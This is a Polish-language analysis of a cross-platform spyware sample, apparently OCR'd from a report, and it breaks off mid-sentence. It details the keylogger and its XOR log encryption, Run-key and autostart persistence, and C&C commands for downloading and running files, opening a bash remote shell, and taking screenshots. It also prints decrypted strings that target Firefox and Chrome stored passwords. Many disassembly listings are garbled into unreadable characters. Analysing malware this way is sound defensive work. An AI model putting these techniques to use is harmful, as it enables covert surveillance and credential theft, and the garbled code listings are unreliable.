Tak tez zrobiliSmy.

Zmodyfikowali$my sekcje kodu tworzenia okna, tak by tworzyta za kazdym razem okno

o rozmiarach 100x100, w pozycji ekranu (100,100). Po uruchomieniu zmodyfikowanego
spyware, pojawienie sie okna w obszarze pulpitu spowodowato automatyczne wystanie

komunikatu WM_PAINT przez system operacyjny i odSwiezenie okna, ukazujgc naszym
oczom komunikat pozostawiony przez autora:
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Hello !

Flaga 0x40: keylogger

Malware posiada wspomniany wczesniej mechanizm aktywowania funkcjonalnosci na state
wbudowanej w kod, przy pomocy statycznego zestawu flag, umieszczonego przez autora
prawdopodobnie w procesie rekompilacji wersji malware przeznaczonej dla danej ofiary.

Tak tez jest z funkcjonalnoscig keylogger'a wbudowang w kod malware, ktéra cho¢ znajduje
sie wersji malware przeznaczonej dla naszej ofiary, flage odpowiedzialna za aktywacje
keyloggera ma wytgczong. Dlaczego keylogger w malware przeznaczonym dla tej ofiary
zostat wytgczony — tego nie wiemy.
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Procedura rejestracji kodu pojedynczego klawisza przestanego do procedury obstugi okna
keyloggera (osobnego) na poczatku sprawdza kolejno czy wcisniete sg ktores z klawiszy:
CAPS LOCK (0x14), SCROLL LOCK (0x91) lub NUM LOCK (0x90):

nVirtKey

0

=

nUirtkKey

CB
i4
a1
3B
D6

3

@ 0 OO

=

91

nUirtKey

Jesli kod wirtualny wcisnietego klawisza (znajdujacy sie w rejestrze EBX) nie jest kodem
specjalnym:

al

DROTIDDEDMNIE
= NOMOOMOmWO

ML 0L S0~
D@D D
=TAWOSNMN =

czyli CTRL, SHIFT, TAB, RETURN, BACKSPACE, ALT, PAUSE, etc., kod keylogger'a
prébuje przekonwertowac kod wirtualny klawisza do Unicode pobierajgc do tego aktualny
snapshot stanu klawiatury i odczytujac jej ukfad:

lpKeyState
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hlind
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pwszBuff
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wScanCode
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Natomiast jesli konwersja do Unicode nie jest mozliwa (bufor wyjsciowy Unicode jest pusty),
funkcja zapyta system o reprezentacje ASCII wcisnietego klawisza:
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sformatuje wyjsciowy string do bufora tymczasowego:

pobierze nazwe okna ktdre posiadato focus w momencie wcisniecia klawisza, oraz czas
wcisniecia:
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Pliki keylogera sg przechowywane na dysku w postaci zaszyfrowanej. Zanim bufor zostanie
dotgczony do pliku loga, jest szyfrowany funkcja:

A <- (A Xor OxFFFFFF9D) + 0x24

[y}
0

SO000SI B0
OMDOC OO0
DRDED=00 D00

MODOO0000 T (000
MWD T MO0

Zaszyfrowane pliki zawierajgce dzienne logi keyloggera, znajdujg sie w tym samym katalogu
co modut gtéwny, a ich nazwy tworzone sg wg. schematu: ,-DD-MM-RRRR”.

Plik keyloggera mozemy zdeszyfrowac np. w taki sposob:

0x24) ~ OxXFFFFFF9d)

otrzymujgc w rezultacie historie wcisnietych klawiszy, ktéra na zyczenie jest przesytana do
operatora C&C:

[x64dbg - File: jvmmrg.exe - PID: 598 - Module: jvmmrg.exe - Thread: 274] -
[05/12/2016 22:55:33]

{F8}{F8}{F8}{F8}{F8}{F8}{F8}{F8}{F8}{F8}{F8}{F2}{Page Down} {Page Down} {Page
Down} {Page Up} {Page Up}{Page Up}{Esc}{F9}{F9}{F9}

[Total Commander 7.55a] - [05/12/2016 22:55:37]
{Arrow Down} {Arrow Up}
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[Lister - [C:\Users\pinky\AppData\Roaming\Sun\Java\-03-12-2016]] - [05/12/2016
22:55:40]

{F3}{Page Down}{Page Down}{Page Down}{Page Down}123{Page Up}{Page Up}{Page Up} {Page
Up} {Page Up}{Page Up}{Page Down}{Page Down} {Page Down} {Page Down} {Page Down} {Page
Down} {Page Down}

[x64dbg - File: jvmmrg.exe - PID: 598 - Module: jvmmrg.exe - Thread: 274] -
[05/12/2016 22:58:29]

1232{Page Up}{Page Up}{Page Up}{Page Down}{Page Down} {Page Down} {Arrow

Down} {F3}{Esc}{Home} {Home} {Ctrl+B}e8b251ff{Return}{Return}{Arrow Up}{Arrow

Up} {Arrow Up}{Arrow Up}{Arrow Up}{Arrow Up}{Arrow Up}{Arrow Up}{Arrow Up} {Arrow

Up} {Arrow Up}{Arrow Up}{Arrow Up}{Arrow Up}{Arrow Up} {Arrow Up} {Arrow Down} {Arrow
Down} {Arrow Down} {Arrow Down} {Arrow Down} {Arrow Down} {Arrow Down} {Arrow Down} {Arrow
Down} {Arrow Down} {Arrow Down} {Arrow Down} {Arrow Down}{F2}{F9}{F2}{F9}

[Fill code at 0000000000405550] - [05/12/2016 22:58:31]
fiuyerifuyeriguyergyuieuy9842398732987234

[x64dbg - File: jvmmrg.exe - PID: 598 - Module: jvmmrg.exe - Thread: 274] -
[05/12/2016 22:58:39]
{Esc}

[Lister - [C:\Users\pinky\AppData\Roaming\Sun\Java\-05-12-2016]] - [05/12/2016
22:58:43]
{F3}

[Total Commander 7.55a] - [05/12/2016 22:58:43]
{Esc}

Podaj mi swoje imie, a powiem Ci kim jestes

Kazdy programista, rowniez ten ktéry tworzy malware, uwielbia nadawac nazwy. Zmiennym,
procedurom, funkcjom, metodom, klasom, przestrzeniom nazw... wszystkiemu czemu moze
nadac jakis ksztatt. Najwyrazniej dotyczy to rowniez przypadku autora tego malware.

Jak wspomniano powyzej, watek keyloggera posiada wtasne okno, ktdrego procedura
przeznaczona jest do otrzymywania kodow wirtualnych klawiszy wciskanych przez
uzytkownika. Okno w odréznieniu od okna gtéwnego malware (ktére tworzone jest zawsze)
posiada rozmiar 0x0 i jest usadowione w pozycji ekranu 0x0:
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uzywajgc tym razem jednak unikatowej nazwg klasy okna (w odrdéznienia od okna gtéwnego)
ktérg przekazuje podobnie jak w przypadku komunikatu ,Hello” bezposrednio w kodzie

maszynowym, by unikng¢ wykrycia przez parsery:
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Po zapisaniu sekwenciji ‘68 72 75 64’ w ASCII otrzymujemy nazwe klasy okna keyloggera:

‘hrud’.

Dlugo zastanawialismy sie nad pochodzeniem tego stowa (a w szczegodlnosci nad tym jego
znaczeniem, ktére mogt mie¢ na mysli autor malware). Poza polskg etymologig stowa ‘hrud’
— ktore w jezyku staropolskim oznaczato dzisiejszy ‘grod’ - do funkcjonalnosci jakg spetnia
badany przez nas kod najlepiej chyba pasuje nazwa pochodzgca z mitologii Swiata gry
Warhammer 40000, oznaczajgca szczegdlnie niebezpieczny dla ludzi gatunek mrocznych
wojownikow-pasozytow ,Hrud”, zdolnych przeslizgiwac sie miedzy najwezszymi

przestrzeniami i przyspieszac starzenie sie ich ofiar:
(http://warhammer40k.wikia.com/wiki/Hrud)
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Wojownik Hrud http://warhammer40k.wikia.com/wiki/Hrud

Tak, ta nazwa pasuje do tego kodu idealnie.
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Flaga 0x08 - persystencja.

Wersja windowsowa malware realizuje persystencje standardowo: tworzgc nowy wpis
w sciezce:

SOFTWARE\WMicrosoft\Windows\CurrentVersion\Run\

uzywajgc do tego klucza rejestru o nazwie JVMM, znajdujgcej sie rowniez we wczesniej
zalogowanej przez nas sekwencji deszyfracji tanuchéw tekstowych podczas uruchomienia
malware.

Nasz malware posiada zapalong flage persystencji, tworzgc nowy wpis w rejestrze zaraz po
uruchomieniu modutu gtéwnego malware:

; CODE XREF: sub_486351+1ES1J

CreationTimel

1+dwCreat ionDispositionl], @

1+dwCreat ionDispositionl], rsi
: hKey
23R

sof t N\l indows \CurrentlUe™. ..

Natomiast wersja linuxowa, persystencje realizuje kopiujgc zdetonowany przez linuxowy
instalator STATA 14 plik binarny ELF64 modutu gtéwnego spyware (lic16) do katalogu
domowego uzytkownika ~/.config/xwinsession

stat ("/home/pinky", {st mode=S IFDIR|0755, st size=4096, ...}) =0
stat ("/home/pinky/.config", {st mode=S IFDIR|0700, st size=4096,
open ("/home/pinky/licl6", O RDONLY|O CREAT, 0770) =

open ("/home/pinky/.config/xwinsession", O WRONLY|O CREAT|O TRUNC, 0770) = -1 ETXTBSY
close (3) =0
unlink ("/home/pinky/.config/xwinsession") = 0
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Nastepnie tworzy plik konfiguracji autostartu XWindow.desktop w Sciezce:
~/.config/autostart/XWindow.desktop

mkdir ("/home/pinky/.config/autostart™, 0777) = -1 EEXIST (File exists)

open ("/home/pinky/.config/autostart/XWindow.desktop", O WRONLY|O CREAT|O TRUNC, 0770)=3
write (3, "\n[Desktop Entry]\nType=Applicatio"..., 85) = 85

close (3)

pipe2 ([3, 4], O_CLOEXEC)

Flaga 0x200 — zapewnienie ciggtosci dziatania
w trakcie uspienia

Flaga ta (zdezaktywowana w naszym malware), odpowiada za jednorazowe uruchomienie
w trakcie startu malware kodu procedury zmieniajgcej tryb zachowania procesu malware
w trakcie uspienia:

~EODS
DO

Funkcja probuje ustawic aplikacje w tryb pracy aktywnej (8000041)umozliwiajgcy dziatanie
nawet po przejSciu maszyny w stan uspienia. Bedzie to skutkowac tym ze po uspieniu
komputera, ekran ofiary zostanie wygaszony, lecz wentylatory, podobnie jak inne podzespoty
bedg pracowac, a wszystkie aplikacje ktore zazgdaty gotowosci w trybie uspienia bedg nadal
dziatac. Jesli przejscie w ten tryb sie nie uda — malware sprobuje zarejestrowac aplikacje

w trybie 80000001 — czyli powstrzymania przed uspieniem:
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Flaga 0x100: Identyfikacja proxy HTTP

Kod identyfikujgcy systemowe proxy najpierw inicjuje sesje HTTP uzywajgc funkcji
WinHttpOpen z biblioteki winhttp.dll, ustawiajgc ,,InternetProxy” jako user-agent
w nagtowku HTTP:

;3 "WinHttpOpen”
: hModule

inhttpadlies

=~J OO 00 ~JOO|

aryA . _
Winhttpgetprox "W inHttpGetProsyForle "™
hModu le

Einhtrpad/iizs

0000 P 00000000

"WinHttpC Handle"
Modu le

O = 5 =L 5 5 O Y

h+var_1E21],

DRDOO=MN OODOTOO=OOROO=OOEO0= 0|
) DAQDUNOE DOOROO=OWOO= OO = Oe

"InternetProxy”

(o3l ROt ent e O BN W Ty ¥ Ty 4y (79 LY TV a Lo TN LY Lo B (¥ Lo T DY a1

)OO0 5 D000 W00 00000

Nastepnie funkcja wywotujgc WinHttpGetProxyForUrl stara sie pobra¢ nazwe serwera
proxy, ktéry zostat skonfigurowany do uzycia przy préobach dostepu HTTP do domeny
~WWW.yandex.com”:

DO
QOO
o0 @
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;3 "http="

Jesli serwer proxy nie zostat skonfigurowany dla tej konkretnej domeny, malware zapyta czy
istnieje skonfigurowany jakikolwiek serwer proxy dla aktualnie zalogowanego uzytkownika:

i "winhttp.dLLl™ =

i "WinHttpGet IEP FigFo rrentUser’

; hModule

Nasuwa sie tutaj oczywiste pytanie: dlaczego gtéwnym celem tej funkcji jest identyfikacja
istnienia proxy HTTP akurat dla domeny Yandex — najwiekszej rosyjskiej wyszukiwarki

(i przegladarki)? Autorzy malware z pewnoscig nie zostawili tej domeny by wpisa¢ cokolwiek
przy odpytaniu o ustawienia proxy, podajgc bezwiednie ,yandex.com” zamiast np.:
,google.com”. Bezwiednie: dlaczego nie. Ale to raczej mato prawdopodobne gdy tworzy sie
malware.

Mozna réwniez przyjg¢ drugg mozliwos¢, iz odwotanie do domeny yandex.com byto
catkowicie swiadome, a slady prowadzgce do Rosji sg tak naprawde jedng z sygnatur
ktérymi rosyjscy autorzy chcieli zaznaczy¢ swoje pochodzenie — tak by ofiary nie miaty co do
niego watpliwosci.

Mozna réwniez spekulowac (cho¢ sg to dalece posuniete zatozenia), iz jako, ze domena
yandex.com jest wedtug statystyk najczesciej odwiedzana akurat nie przez Rosjan lecz
przez Chinczykow (w odréznieniu od domeny yandex.ru), malware zostat rzeczywiscie
zbudowany przez rosyjskich programistéw lecz jednym z jego przeznaczen miat by¢
rekonesans celéw znajdujgcych sie w srodku Wielkiego Chinskiego Firewall’a.

Kody rozkazow protokotu C&C

Funkcja interpretera komend C&C obstuguje ponad 30 réznych kodow sterujgcych.

Ze wstepnej analizy procedur obstugi kodow rozkazéw wynika, ze malware posiada
funkcjonalno$¢ stuzagcg m.in. do:

v'wysytania zrzutéw ekranu ofiary
v' symulowania wcisnie¢ klawiatury
v’ poruszania kursorem myszki / symulowania klikniecia klawiszy myszki
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v'  otwierania zdalnej powtoki systemowej

v" pobierania szczegétowych informacji o maszynie ofiary (zuzyciu pamieci, typie procesora,
nazwie uzytkownika, nazwie hosta, wersji minor / major systemu, weryfikujgc réwniez czy
maszyna jest kontrolerem domeny / serwerem / czy stacjg robocza)

ekstrakcji logindéw i haset imap / pop3 zapisanych w bazach klientéw pocztowych (Outlook /
Thunderbird)

ekstrakgcji historii przegladarek WWW,

enumeracji listy proceséw wraz z czasami ich uruchomienia,

<\

eksfiltracji listy zainstalowanego oprogramowania,
enumeracji okien w systemie,
terminacji procesow,

enumeracji zalogowanych uzytkownikow,

AN O N NN

wykonywania operacji na rejestrze (odczytaj / utwoérz / usun / zapisz wartos$é klucza).

Nalezy tutaj zaznaczyc, iz obie wersje malware (dla Windowns i Linux) posiadajg te same
kody sterujace, przyporzadkowane do odpowiadajgcych im identycznych funkcjonalnosci
— analizujgc kod realizujgcy dang funkcjonalnos¢ pod systemem Linux, mozna wiec dzieki
temu poézniej tatwo zmapowac w jaki sposob zrealizowano te samg funkcjonalnos¢ pod
systemem Windows (i vice-versa), co znacznie przyspiesza analize, a w pewnych
momentach - patrzgc z programistycznego punktu widzenia - moze by¢ ciekawym
doswiadczeniem edukacyjnym.

Wachlarz funkcjonalnosci wersji malware dla Linux jest natomiast nieco ubozszy, cho¢
nalezy tutaj dodag, iz jest on w petni wystarczajgcy by operator C&C mogt posiadaé peing
kontrole nad ofiarg uzywajgca systemu Linux.

Ponizej przedstawiono analize kodu odpowiedzialnego za wykonanie poszczegolnych kodow
sterujgcych, z umieszczonym dla wybranych przypadkéw poréwnaniem miedzy wersjg
spyware dla Windows i Linux dla kodu realizujgcego te samg funkcjonalnos¢.

Funkcja przesyta do serwera C&C adres publiczny ofiary pobrany zapytaniem HTTP do
serwera checkip.dyndns.org:

mow

; protocol
; tupe
af

i M

MT=RREE

41 BS
BA 81
B2 B2
C7 44
FF 15
23 F3S
29 44
74 D2
42 63
41 BS
423 89
FF 15

ADDN0 ATTMEADEO

D=0
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check ip. dy

> ’Ch
short loc_481F4F

oraz podstawowe informacje o systemie, takie jak nazwa komputera, uzytkownika i wersja
systemu.

.()..

Wersja malware dla Linux realizuje te samg funkcjonalno$

= C00000

OEEO0

[rep*1S8h+namel] ; name

@000
47, N}

dodatkowo probujgc zidentyfikowaé czy system Linux ofiary jest dystrybucjg RedHat lub
Ubuntu:

UlD:

struct passwd {

char *pw_name;
char *pw_passwd;
uid t pw_uid;
gid t pw_gid;
char *pw_gecos;
char *pw dir
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char *pw_shell;
};

ktéra poza folderem domowym i Sciezkg powtoki uzytkownika moze zawierac (jesli
wywotujgcy funkcje jest root’'em) skrot kryptograficzny hasta uzytkownika o zgdanym
identyfikatorze UID.

Pobiera katalog tymczasowy aktualnego uzytkownika
(C:\Users\XXXXX\AppData\Local\Temp)

3 "ATEMPZ™

Pobiera z szyfrowanego pojemnika stringéw (staty klucz: ,hyd7u5jdi8”) tancuch formatujgcy
nazwe docelowego pliku wykonywalnego pod ktdrg zostanie zapisany (,%s\%s.exe”):

; "hyd

MNEOD @O~
LOE DDOUCUIARDON—D
~NEY @OOUINANDIAD
OO~ QONOOTTIADE

MoOALLLMELLAMOOOOOOO00)
=
D

LondN e I a TunTwlon Do Dot w'eTe gle gle gl e gle e gle gle g e 4}

F3
ES
29
20
4g
20
29
29
ES
44
96

Dp
=

Nastepnie pobiera z uzyciem HTTP i identyfikatora User-Agent: ,Mozilla/5.0 (Windows NT
6.3; WOWG64; Trident/7.0; rv:11.0) like Gecko”, z serwera wskazanego w rozkazie C&C
plik wykonywalny:
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"GET ¥s HTTP-1.1xrsnHost: Xssrehnl
flags

EuF

len
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mmT
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Po czym uruchamia pobrany plik wywotujgc funkcje CreateProcessW i koriczy swoje
dziatanie zwracajgc kod 0:

F 15 EC CB B3 68

Rozkaz wymusza ponowne uruchomienie procesu malware, zwalniajgc przy tym uzywane
przez niego mutex’y systemowe.
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Ten rozkaz w identyczny sposoéb jak rozkaz 0x0A pobiera ze wskazanego przez C&C
serwera plik wykonywalny i uruchamia go, z tg réznicg, ze proces malware nie konczy
swojego dziatania po wykonaniu rozkazu. Wersja spyware dla Linux po pobraniu pliku
zapytaniem HTTP GET zapisuje go w katalogu /tmp, zmieniajgc flagi pliku na 511:

; CODE XREF:

MM B~ -J000-J00m
QO 000000CM TN QO 000
M TNOWWO= D= D T—=TT
STMMOOOE D 0T0m

Funkcja enumeruje i przesyta do serwera wydawania rozkazow liste dyskéw logicznych
w systemie wraz z ich typami:

DT
OWNAD

OO
DEOA

a]%)

00
PO 0000 = = 00000 0|
M= A NREOOoET

9 44
g9
31
aF

wmm
=D
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Funkcja rekurencyjnie przeszukuje wybrany katalog na dysku w poszukiwaniu plikow o
nazwach zgodnych z wzorcem przekazanym z C&C:

p+4Bh+hF indFilel

p+4Bh+hF indFilel hFindFile

Po znalezieniu kazdego pasujgcego do schematu pliku, zapisuje do bufora date utworzenia
pliku i wielkos¢ pliku:

lpSystenT ime
lpFileTime

o]
N
[

Second]

=D
=

r»:rﬂ]" ime.wYear]

ma DOrREWOE

20 NELAODA
DO
DO

=

203[\)13010@\0(0@(00)&\0
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TOTWOTIOTIOOOOO0R DT T
005 005 00 5 00 5 00 00 00 00 00 S0 - 00+ 00 00|
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00 0 0 @
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AR 00

OO E 0000000000000
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B RO MOE UMM IR
MNAQRDONELOOER
SRS

DED o
SRS
Lol

Po czym przesyta bufor wyjsciowy do serwera C&C.

Rozkaz umozliwia usuniecie pliku z katalogu C:\Windows uzywajgc funkcji API
SHFileOperation (operacja FO_DELETE = 0x0003) z biblioteki User32.dll. Nazwa funkcji
API jest zaszyfrowana w chronionym pojemniku stringdéw i deszyfrowana na chwile przed
dynamicznym zatadowaniem jej exportu z biblioteki i uruchomieniem:
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Funkcja uruchamia nowy proces przekazujgc argumenty i sciezke startu otrzymane wraz z
rozkazem z serwera C&C:

mbf

MO0 N0 0000 000000 N0 N0 IO =J0O 00

a
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h+lpStartupInfol, rbp
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Rozkaz umozliwia zmiane nazwy lub przeniesienie pliku z uzyciem funkcji MoveFileW.

Rozkaz probuje usung¢ wybrany plik, uzywajgc funkcji DeleteFileW. Przed jej wywotfaniem
sprawdza czy plik ma ustawione oba atrybuty: pliku ukrytego i pliku systemowego
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(FILE_ATTRIBUTE_HIDDEN == 0x2 | | FILE_ATTRIBUTE_SYSTEM == 0x4). Jedli tak — zmienia atrybuty
na wartos¢ 0x80 (FILE_ATTRIBUTE_NORMAL), po czym wywotuje funkcje:

MDA ROTIOOC)
=000 = )= 0000
MUOMAENSWORO

3
Et
F
=3
7
F
7
B
Kt
F

=00
Ly L¥e}
£

Rozkaz prébuje utworzyé nowy katalog przy pomocy funkcji CreateDirectoryW.

Wersja spyware dla Windows najpierw formatuje komende zmiany strony kodowej konsoli na
Unicode (chcp 65001):

S78h+hliritePipel
S8h+hReadPipel

uruchamia nowy proces:
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IpProcessInformat ion
mandlL ine

mru[nlr\fu.h 5 ’jEli"L]
upInfo.hsS ijlhn'purf]

h+hObject]
pStartuplnfol, rdi ;_ lnqtdrtupInFo
CurrentDir ry] lpCurrentDirectory
ronment . ironment
rtupInfo.h oy
eat ionF La 1 3 dwCrOdtlonFl?

=1
eritHandl ; bInheritHandles

i wchodzi w petle odczytujgcg wyjscie potoku komunikacyjnego z nowym procesem,
wysylajgc na biezgco zawartos¢ bufora odczytu do serwera C&C:

loc_4814R6:
uFFPrS
lpBuFFer
a lpBytesLeftThisMessage
lpTotalBytesAvai

VETR )

3 Memory

CODE : : ExeclUnicodeConsoleComma
Si

icodeConsoleComma

: lp meerﬁf
c H”atlﬁ ; nHumberOfote

ffer
: hElle =

Wersja linuksowa malware realizuje te same cele — otwiera najpierw pseudo-terminal i
otwierajgc urzadzenie /dev/ptmx:

b0 0000 B 00000

(QuaTaueN (g Lo Ta'aTa g e ]
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Wywotanie fork rozdziela proces na strone ‘slave’ i ‘master’. Proces ‘slave’ przed
wywotaniem execvp (uruchamiajgcym /bin/bash) zamyka deskryptory stdin/sdtout/stderr
procesu ‘master’, a nastepnie tworzy wtasne (3x dup), powigzane z otwartym TTY:
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Czes¢ ‘master’ nawigzuje komunikacje z C&C, przesytajgc otrzymany payload miedzy C&C,
a procesem ‘slave’ ktory otworzyt terminal:
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nazwe komputera:
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lpSystemInfo

XREF: sub_d40920B+621j

identyfikujac dodatkowo czy system to kontroler domeny (LANMAN), serwer (SERVERNT)
czy stacja robocza (WINNT):
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uctType"
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"WINNT"

Informat ion.dwMajorVersionl, 4

coD

; CODE XREF: sub_46
3 "LANMANNT'

. :+ CODE XREF:
[rsp+168h+VUersionInformat ton.dwMajo

E XREF: sub_46
RUERNT""

Nastepnie pobiera dane o ilosci dostepnej i zajetej pamieci (fizycznej, stronicowania i
wirtualnej):

; "GlobalMe
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$ciezke katalogu systemowego Windows (WINDIR) i liste Sciezek zawartych w zmiennej
Srodowiskowej PATH:
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oraz wynik weryfikacji czy zalogowany uzytkownik posiada uprawnienia lokalnego
administratora, uzywajgc wywotan funkcji AllocateAndinitializeSid (nazwa funkcji tekstem
jawnym) oraz CheckTokenMembership (nazwa deszyfrowana z chronionego pojemnika
w trakcie dziatania):
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3 hModu le
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Gdy wszystkie dane zostang zebrane sg zapisywane do bufora tekstowego i wysytane do
serwera C&C. Otrzymuje przez serwer bufor jest tworzony z uzyciem tancucha
formatujgcego separujgcego poszczegolne wartosci kodem 0x07 (kod dzwonka / BELL):

Rozkaz przesyta liste zalogowanych do maszyny uzytkownikéw wraz z datami ich logowania:

o

; VLsal =] ionData"™
; hModule

; ULsa turnBuffer”
+ hModul

i hHodule

TI000000 1000000 10000000000 00— 00

a0
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Céa
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i
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9
4
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D
9
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D
9
9
E
D
9
9
F

Funkcja enumeruje liste procesow, ich petnych sciezek plikéw wykonywalnych oraz czasow
uruchomienia uzywajac funkcjonalnosci CreateToolhelp32Snapshot / Process32First /
Process32Next / GetProcessTimes oraz biblioteki psapi.dil.
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Funkcja konczy proces o wybranym identyfikatorze PID przestanym przez C&C:

oo

0
wn wo= 0 N0

= SO0 00000 00— 00
MMEWORNWOOENWO-

T OmO)

B3
4i
FF
43
74
48
31
43
FE
43
85
46
FF

Rozkaz enumeruje liste okien systemowych i przesyta do serwera C&C ich nazwy,
identyfikatory HWND oraz informacje o tym czy okno jest w danym momencie widoczne:

lpString

Q
g
E
=)
4
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g
a
r=3
g
C
1

4
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F
8
7
4
4
F
4
B
4
4
4
4

W zaleznosci od przestanego z C&C argumentu rozkazu (dla wersji pod Windows argument
w ECX, dla Linux w EDI) rozkaz o kodzie 0x2E posiada 4 funkcjonalnosci:

0x01: zamknij okno,
0x02: ukryj okno,

0x03: pokaz okno,

0x04: zmien nazwe okna.

W Windows, malware zamyka okno o wskazanym przez C&C identyfikatorze HWND,
wysytajgc do jego procedury obstugi komunikat 0x10 (WM_CLOSE):
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Pokazanie i ukrycie realizowane jest przekazaniem do ShowWindow argumentéw stanu
okna o kodach odpowiednio 5 (SW_SHOW) i 0 (SW_HIDE):

Wersja spyware dla Linux w celu zamkniecia okna pobiera identyfikator komunikatu
‘ NET_CLOSE_WINDOW’ dekodujgc jego nazwe z uzyciem XinternAtom, a nastepnie
wysyta komunikat wywotaniem XSendEvent:

" _NET_CLOSE_WINDOW™
21h

_QWORD

sh+uar_
sh+uar_

CODE ¥

AD 22 0@ = ’ ri2 ¥Mapll indow
: CODE ¥

FF

MO0
g tYul¥ul gy (¥e]

aapllindow

; CODE ¥
7 —QWORD

=00
oo
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Natomiast nazwa okna jest zmieniana z uzyciem wywotania XChangeProperty:

ring 3 "UTFS_STRING”

a_net_wm_name ; "_NET_WM_NAME"

string ; "UTFS_STRING”

"_NET_WM_ICON_NAME"

®F lush

Funkcja tworzy liste nazw i wersji zainstalowanego na komputerze ofiary oprogramowania.

Wersja spyware dla Windows enumeruje klucze znajdujgce sie w rejestrze systemowym
pod Sciezkami SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall dla uzytkownika
i maszyny (HKLM i HKCU):

3 samDesired

Wersja dla Linux enumeruje liste plikow znajdujgcych sie w katalogu
‘lusr/share/applications’:
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Applic 3 "susrssharesapplications

MTEMN
HTIOHL
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24 88
66 68
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MMOOOMEOMDIO)
COOMNI0000WOO MO0

Funkcja symuluje zwolnienie klawisza klawiatury, uzywajac w Windows wywofania
keybd_event z ustawiong flagg KEYEVENTF_KEYUP (0x02):

DO
o OO

O 080 OO
=

QD O QDD

D
2

ORD
h+ua ; _QWORD
124-’ '3 ; _QWORD

48 8B
4g Cv¢
C7 44
C7 44
C7 44
C7 44
48 89
C7 44
FF 15
oF B
Cr 44
C7 44
89 44
4t 20
B B2
EA &1
4s 2B
43 SE
FF 15

MROWDE= DD NOWDEDEEH
MODRDERED M P00 === 00

OMNNREEMNO=E ORI
DLELADDLELDD OOROO

Funkcja symuluje wcisniecie klawisza klawiatury o wybranym kodzie wirtualnym.
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Rozkaz przesuwa wskaznik myszki w pozycje wskazang przez serwer C&C i symuluje
wcisniecie lewego klawisza:

Rozkaz generuje zrzut ekranu ofiary i przesyta zawartos¢ do serwera C&C.

W tym miejscu pozwolilismy by badane spyware (w wersji dla Windows) ten jeden raz nas
podczas analizy w czym$ wyreczyto i zrobito samo ponizszy zrzut ekranu, zawierajgcy kod
procedury generowania zrzutu ekranu w trakcie jego generowania (wykonujgc takie
malware’owe ,selfie”). Wydajac recznie rozkaz o kodzie 0x37 (wstrzykujac go bezposrednio
w procedure interpretera rozkazéw), a nastepnie zatrzymujgc debugerem funkcje obstugi

w momencie pojedynczego kroku na funkcji BitBlt, funkcja ta skopiowala aktualng mape
bitowa ekranu jakg zastata w momencie rozpoczecia wykonania. Zawarto$¢ bufora
wyjsciowego zostata nastepnie skopiowana przez nas do pliku dodajgc nagtéwek BMP. To
nie dato oczywiscie nam nic wigecej poza faktem, ze musieliSmy wciska¢ CTRL-ALT-PRTSC
o jeden raz mniej przy pisaniu tego raportu...
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FF 15 C6 F4 03 00 €all qword ptr ds:[<&CreateCompatibleBi

48 85 F6 test rsi,rsi

OF 94 C2 sete dl

4D 85 Fe test ri4,ri4

49 89 C4 mov riz,rax

OF 94 CO sete al

08 C2 or dl,al

OF 85 CD 01 00 00 jne jvmmrg.4083CA

4D 85 E4 test riz,riz

OF 84 C4 01 00 00 je jvmmrg.4083CA

4C 89 E2 mov rdx,ri2

4C 89 F1 mov rcx,ri4

FF 15 CA F4 03 00 call gword ptr ds:[<&SelectObject>]

45 31 CO xor r8&d,rs&d

31 D2 xor edx,edx

48 89 74 24 28 mov qword ptr rsp+28),rsi

C7 44 24 40 20 00 CC|mov dword ptr sp+40§,40CC0020

41 89 F9 mov r9d, edi

4C 89 F1 mov rcx,ri4

C7 44 24 38 00 00 00 |mov dword ptr 38,0

C7 44 24 30 00 00 00 |mov dword ptr 30§,0
DODOD00D0D40823A 89 6C 24 20 mov dword ptr frsp+20),ebp
FF 15 60 F4 03 00 call qgword ptr ds:[<&BitBl1t>]
""""" 108244 85 CO test eax,eax

16 v OF 84 7E 01 00 00 je jvmmrg.4083CA
48 8D 44 24 76 lea rax,qword ptr ss:frsp+76]}

Nie pozwolilismy oczywiscie by spyware zdazyto wystac bufor wyjsciowy do swojego serwera
C&C — jako, ze ta cze$¢ analizy byta prowadzona w trybie online, proces malware zostat
zabity zaraz po skopiowaniu przez nas bufora. Trzeba jednak przyznaé¢, iz wiadomos$¢

w postaci zrzutu ekranu z debuggerem zatrzymanym na wykonaniu funkcji BitBIt bytaby

na pewno dla operatora C&C bardzo wymowna.

Wersja linuksowa natomiast, zrzut ekranu wykonuje postugujgc sie funkcjg XGetlmage
z biblioteki XLib:

DEDCOT000000 - b
UL I I a Ty [ 14

)}

Wwooo

000 0000000 Q00

9
9

L T B B [ [ B B L B O O o o e o oy ]
MDOO = DAAEAA0ATIENWOOMNOOWO= 0O T

=TI ODE®0000~JOO 000
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Rozkaz enumeruje liste wszystkich potgczen TCP i UDP (i socketdw nastuchujgcych),
przesytajgc ich stan, zrodtowy / docelowy adres IP, oraz nazwe procesu ktéry posiada
socket.

Wersja windowsowa spyware uzywa do tego funkcjonalnosci bibliotek iphlpapi i psapi:

aplit=d s
1 je-dT-::c-T.at- le*

3 etExtendedUdpTable”
hModu le

i "GetPrd ImageF i lLeNamel)™
; hModule

netshort

Natomiast modut spyware dla Linux pobiera informacje o socketach z plikéw /proc/net/tcp
i /]proc/net/udp:

. H“REF: GetTcpUd
rdi,
=

sub_
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Funkcja umozliwia wykonywanie operacji na rejestrze (nowy klucz / usunh klucz / odczytaj
wartos¢ / ustaw wartosc)

Po zasymulowaniu wywotania tego rozkazu i podtgczenia nastuchu na wyj$ciu funkcji
deszyfrujgcej w locie chronione tancuchy tekstowe otrzymalismy nastepujacag liste:

"SOFTWARE\\Mozilla\\%s\\"

"CurrentVersion"

"SOFTWARE\\Mozilla\\%s\\%s\\Main"

"Install Directory"

"s\\%s"

"mozsglite3.d11l"

"nss3.dl11l"

"$s\\nss3.d11"

"Mozilla Firefox"

"$s\\Mozilla\\Firefox\\profiles.ini"
>s\\Mozilla\\Firefox\\%s"

%$s\\signons.sglite"
"$s\\logins.json"

"select * from moz logins"
"hostname"

"encryptedUsername"

"encryptedPassword"

"abe2869f-9b47-4cd9-a358-c22904dba7£7"

"CredEnumerateA"

"CredFree"
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
"$s\\Google\\Chrome\\User Data\\Default\\Login Data"
"$s\\Chromium\\User Data\\Default\\Login Data"

Juz po zawartosci tej listy mozna wywnioskowac, iz funkcja realizujgca rozkaz 0x56 najpierw
uzyskuje dostep do loginow i haset zapamietanych w Firefox, nastepnie tych zapamietanych
